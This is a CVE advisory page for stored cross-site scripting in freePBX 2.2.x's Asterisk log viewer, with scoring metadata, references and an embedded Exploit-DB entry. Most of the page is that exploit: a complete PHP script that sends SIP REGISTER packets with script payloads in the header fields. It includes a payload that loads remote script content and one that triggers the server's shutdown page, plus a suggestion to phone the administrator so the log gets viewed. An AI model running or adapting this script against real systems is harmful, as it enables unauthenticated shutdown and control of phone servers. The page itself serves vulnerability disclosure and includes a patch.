CVE-2007-2191 : Detail

CVE-2007-2191

21.26%V3
Network
2007-04-24
15h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple cross-site scripting (XSS) vulnerabilities in freePBX 2.2.x allow remote attackers to inject arbitrary web script or HTML via the (1) From, (2) To, (3) Call-ID, (4) User-Agent, and unspecified other SIP protocol fields, which are stored in /var/log/asterisk/full and displayed by admin/modules/logfiles/asterisk-full-log.php.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 29873

Publication date : 2007-04-19 22h00 +00:00
Author : XenoMuta
EDB Verified : Yes

source: https://www.securityfocus.com/bid/23575/info FreePBX is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data before using it in dynamically generated content. Attacker-supplied HTML and script code may be executed in the context of the affected web application, potentially allowing the attacker to steal cookie-based authentication credentials, control how the web application is displayed to the user, or manipulate the underlying PBX application; other attacks are also possible. FreePBX 2.2. series is vulnerable to these issues. #!/usr/bin/php <?php /* \ | | | | | _) |\/ | _ \ __| __ \ | | |\ \ / _` | __ \ __| | __ \ _` | | | __/ | | | | | | | ` < ( | | | | | | | ( | _| _|\___|\__|_| |_|\__, |_| _/\_\\__,_|_| _|\__|_|_| _|\__,_| ____/ ___ \ ___| / Methylxantina 256mg ) | __ \ _ \ __ `__ \ _` | http://xenomuta.blogspot.com __/ ) | ( | | | | ( | _____|____/ \___/ _| _| _|\__, | freePBX 2.2.x full-log XSS PoC |___/ by XenoMuta <[email protected] <mailto:[email protected]>> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ISSUE: SIP protocol's fields such as From, To, Call-ID, User-Agent (and many others) can carry html tags, wich are shown unfiltered by the Asterisk Log File tools located at http://<freepbx root>/admin/modules/logfiles/asterisk-full-log.php resulting in malicios HMTL or Javascript code injection. IMPACT: Server shutdown/restart, PBX control and Possible remote code execution through amportal options. Just about anything you can code in Javascript. * Note that the amportal's admin will only see the last 2000 lines of full log. for wich an attaker might call the admin asking for support at the time of exploitation. This doesn't require authentication or valid credentials >:) WARNING: * Do this on your own risk. Intended for research and educational purposes ONLY. * Neither the author or Methylxantine 256mg are accountable for your actions. * Running this will taint your log file. Make sure you clean it after a test. FIX: Here is a way to fix the problem. [root@asterisk1 ~]# cd /var/www/html/admin/modules/logfiles [root@asterisk1 logfiles]# cat<<EOF|patch *** asterisk-full-log.php 2007-04-18 12:51:10.000000000 -0400 --- asterisk-full-log.php.fixed 2007-04-18 12:51:18.000000000 -0400 *************** *** 10,16 **** <hr> <br> <? ! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e "s/$/<br>/"'); ?> </body> --- 10,16 ---- <hr> <br> <? ! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e "s/</\</;s/>/\>/" | sed -e "s/$/<br>/"'); ?> </body> EOF PAYOLA AND GREETS: :) gr33tz to: - God, for being so faithfull. - Lili, por la paciencia nocturna y por tu amor - the Asterisk team and the freePBX team, for such an EXCELENT product - EMRA, por la fragancia - Leo, te di Luz */ print "\x1bc\n\x1b[1m\x1b[30m\x1b[47m"; print " \n"; print " \r"; print " \\ | | | | | _) \n"; print " \r"; print " |\\/ | _ \\ __| __ \\ | | |\\ \\ / _` | __ \\ __| | __ \\ _` |\n"; print " \r"; print " | | __/ | | | | | | | ` < ( | | | | | | | ( |\n"; print " \r"; print " _| _|\\___|\\__|_| |_|\\__, |_| _/\\_\\\\__,_|_| _|\\__|_|_| _|\\__,_|\n"; print " \r"; print " ____/ \n"; print " \r"; print " ___ \\ ___| / Methylxantina 256mg\n"; print " \r"; print " ) | __ \\ _ \\ __ `__ \\ _` | http://xenomuta.blogspot.com\n"; print " \r"; print " __/ ) | ( | | | | ( | \n"; print " \r"; print " _____|____/ \\___/ _| _| _|\\__, | freePBX 2.2.x full-log XSS PoC\n"; print " \r"; print " |___/ by XenoMuta <[email protected] <mailto:[email protected]>>\n"; print " \n\x1b[0m"; //COMMENT ME TO PROCEED //die("\x1b[31mWe urge you to read the code first. Comment this line to proceed.\n\x1b[0m"); if($argc<2) die("\nUsage: $argv[0] <sip proxy> [custom payload]\n\n"); $sipp=$argv[1]; if($argc<3){ //SOME SAMPLE PAYLOADS FOR YOUR PLEASURE //Execute external Payload (this one only possible with Call-id payload) $payload="<script>var body=document.getElementsByTagName('body');var fly= new Image(), ofly=new Image(), ifly=new Image();ifly.src='http://xenmut.100webspace.net/fly2.png';ofly.src='http://xenmut.100webspace.net/fly1.png';ofly.onload=eval('var mv=setInterval(\'move()\',10);');fly.setAttribute('id','fly');fly.style.position='absolute;';fly.style.left='300';fly.style.top='100';body[0].appendChild(f ly);var ang,s=2,xx,yy,cal,pi=3.1415926535,ala=true;function calma(){s=2;clearInterval(cal);}function move() {var x,y;x=(s*(Math.sin(ang)));y=(s*(Math.cos(ang)));ala=!ala;if(ala) fly.src=ifly.src;else fly.src=ofly.src;if(Math.round(100*Math.random())>96)ang+=ala?5:-5;if((xx+x>1024)||(xx+x<0)||(yy+y>800)||(yy+y<0)){ang=Math.round(360*Math.random());}else{ xx+=x;yy+=y;}fly.style.left=xx+'px';fly.style.top=yy+'px';}function main(){ang=Math.round(360*Math.random());xx=620;yy=400;fly.onmouseover=function(){s=10;ang=Math.round(360*Math.random());clearInterval(cal);cal=setInterval ('calma()',500);}}main();</script>"; //Space Invader (this one only possible with Call-id payload) //$payload="<img width=900 src=http://www.i-marco.nl/weblog/images/SpaceInvader.jpg>"; // Server shutdown Payload /* .oOOOo. Oo O o oOoOOoOOo ooOoOOo .oOOOo. o. O .O o o O o O o O .O o. Oo o o O o O o o o O o O O O o oOooOoOo o o O O o O O o o o o O o O o o O o O o O O O o O O O O o O o O O `o .o o O `o Oo O O `o O' o Oo `OoooO' O. O `OoooO'O o' ooOOoOo `OoooO' O `o */ //$payload='<img src="../sysstatus/shutdown.php">'; } else { $payload=$argv[2]; } $ext=1234; $agent="SJphone v1.0"; $udp=fsockopen("udp://$sipp",5060); $seq=rand(10000,99900); $packet = "REGISTER sip:$sipp SIP/2.0\n". "Via: SIP/2.0/UDP $sipp:5060;rport;branch=z9hG4bK12345\n". "From: $payload\n". "To: $payload\n". "Contact: \"$ext\" <sip:$ext@$sipp:5060>\n". "Call-ID: 12345@$sipp\n". "CSeq: 12345 REGISTER\n". "Expires: 1800\n". "Max-Forwards: 70\n". "User-Agent: $agent\n". "Content-Length: 0\n\n"; fputs($udp,$packet); fclose($udp); die("\nPAYLOAD SENT:\n$payload\n"); ?>

Products Mentioned

Configuraton 0

Bsd>>Bsd >> Version *

Hp>>Hp-ux >> Version *

Hp>>Tru64 >> Version *

Ibm>>Aix >> Version *

Linux>>Linux_kernel >> Version *

Santa_cruz_operation>>Sco_unix >> Version *

    Sun>>Solaris >> Version *

    Freepbx>>Freepbx >> Version 2.2.1

      Freepbx>>Freepbx >> Version 2.2_rc1

        References

        http://www.securityfocus.com/bid/23575
        Tags : vdb-entry, x_refsource_BID
        http://securityreason.com/securityalert/2627
        Tags : third-party-advisory, x_refsource_SREASON
        http://osvdb.org/35315
        Tags : vdb-entry, x_refsource_OSVDB
        http://secunia.com/advisories/24935
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://www.vupen.com/english/advisories/2007/1535
        Tags : vdb-entry, x_refsource_VUPEN